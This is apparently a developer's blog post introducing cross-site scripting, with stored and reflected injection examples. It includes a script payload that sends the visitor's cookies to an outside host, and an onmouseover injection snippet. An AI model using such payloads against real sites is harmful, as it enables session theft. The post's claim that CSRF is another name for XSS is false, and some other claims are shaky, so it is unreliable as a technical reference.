CSRF also known as XSS allows you to perform different actions directly in browser

When you go for interview for the post of Sr. Web Developer at that you must know about the security issues and latest technology news. I failed to give answer of such issues but then I realised that I must know about these issues.

Simply becoming master in coding does not mean that you are a good programmer. You can not ignore security issues.

CSRF also known as XSS is possible by Injecting HTML & Javascript code into the page. So when the HTML – Javascript injected page loads at that the injected code is executed. You must be thinking Is it possible? The answer is YES. It is possible in two ways:

1. Active Injection:

This Injection is possible by Feed back form or by comment form or blog posts. Hacker generally add HTML code containing Javascript snippet instead of his comment. So that form data are stored into the database.
So now when page containing these data are executed leads execution of javascript

e.g 1:
<script>
document.write(‘<img src = “http://mysite.com/code.php?params=&#8217; + document.cookie + ‘”>’);
</script>
in this sample we will passing logged member cookies to another website

Blogs users are allowed to add images. HTML enabled view of editing blog enables user to add code like
e.g 2:
<img src=”http://mysite.com/image.png”onmouseover=”javascript:DoSomethingMalicious();”/>

Such code makes possible to send the secrete and critical information to the hacker’s site.

2. Passive Injection:

This injection can be done with site search functionality. Exclaimed??? Yes. When one search for something on site at that search result comes and format of result like

Search result for “Happy Porter” or
Did you mean “Happy Porter”
where “Harry Porter” is the word searched. So hacker can add complete javascript code like above examples e.g 1 and e.g 2. and can send critical information to their server.

Passive Injection is more dangerous because it is only single time execution and site admin does not have any track for it.

XSS / CSRF attacks are generally performed in 4 phases:

Phase 1 : Injection phase
During this phase the hacker inject the html or css or javascript on the vulnerable web site.

Image: Phases of CSRF

Phase 2 : Code obtention phase
The user download a javascript file which is hosted on another web site (this phase is not mandatory, but more comfortable for the hacker, else he will have to send the entire payload during the phase

Phase 3 and 4:  Code execution
During these phases, the browser execute the Code. Usually, the first step consists to retrieve the session cookie, then the second, to  send a forged request to the web site. The request will be granted by the Web server because of the session cookies

So while coding always keep these points in your mind.
A Good Programmer’s must provide strong shield against Hackers.

God Bless Programmers

/2 a j a /7   ‘/.  /2 a w a /
(Rajan Y. Rawal)

Advertisements